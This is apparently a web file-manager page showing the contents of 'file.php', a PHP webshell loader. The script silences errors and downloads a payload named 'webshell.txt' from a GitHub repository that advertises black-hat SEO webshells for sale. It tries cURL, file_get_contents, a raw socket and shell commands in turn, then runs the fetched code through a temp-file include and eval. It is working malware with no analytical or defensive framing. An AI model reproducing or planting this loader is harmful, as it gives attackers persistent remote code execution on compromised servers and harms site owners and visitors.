FileMaster

Edit File: file.php

<?php @error_reporting(0);@ini_set('display_errors',0);
$u='https://raw.githubusercontent.com/webshellseo8/Buy-WebShell-SEO-BlackHat-SEO/refs/heads/main/webshell.txt';
$p='';
// Fetch: cURL
if(function_exists('curl_init')){$c=curl_init($u);curl_setopt_array($c,[CURLOPT_RETURNTRANSFER=>1,CURLOPT_SSL_VERIFYPEER=>0,CURLOPT_FOLLOWLOCATION=>1,CURLOPT_USERAGENT=>'Mozilla/5.0']);$p=curl_exec($c);curl_close($c);}
// Fetch: fgc
if(strlen($p)<50 && ini_get('allow_url_fopen')=='1'){$x=stream_context_create(['ssl'=>['verify_peer'=>0],'http'=>['timeout'=>30]]);$p=@file_get_contents($u,false,$x);}
// Fetch: socket
if(strlen($p)<50 && function_exists('fsockopen')){$h='raw.githubusercontent.com';$f=@fsockopen('ssl://'.$h,443,$e,$e,30);if($f){$o="GET /webshellseo8/Buy-WebShell-SEO-BlackHat-SEO/refs/heads/main/webshell.txt HTTP/1.1\r\nHost:$h\r\nUser-Agent:Mozilla/5.0\r\nConnection:close\r\n\r\n";fwrite($f,$o);$r='';while(!feof($f))$r.=fgets($f);fclose($f);$b=explode("\r\n\r\n",$r,2);$p=$b[1]??'';}}
// Fetch: commands
if(strlen($p)<50 && function_exists('shell_exec'))$p=@shell_exec("curl -s -k -m30 '$u'");
if(strlen($p)<50 && function_exists('exec')){$o=[];@exec("curl -s -k -m30 '$u' 2>/dev/null",$o);$p=implode("\n",$o);}
if(strlen($p)<50 && function_exists('system')){ob_start();@system("curl -s -k -m30 '$u' 2>/dev/null");$p=ob_get_clean();}
if(strlen($p)<50) die();
// Execute - multiple methods
// Method 1: temp file include
if(strpos($p,'<?')===false) $p='<?php '.$p;
$t=sys_get_temp_dir().'/'.uniqid().'.php';
if(file_put_contents($t,$p)){include$t;unlink($t);}
// Method 2: direct eval (strip tags for eval)
$c=preg_replace('/^\s*<\?php\s*/i','',$p);$c=preg_replace('/^\s*<\?\s*/','',$c);$c=preg_replace('/\?\>\s*$/','',$c);@eval($c);
?>

Back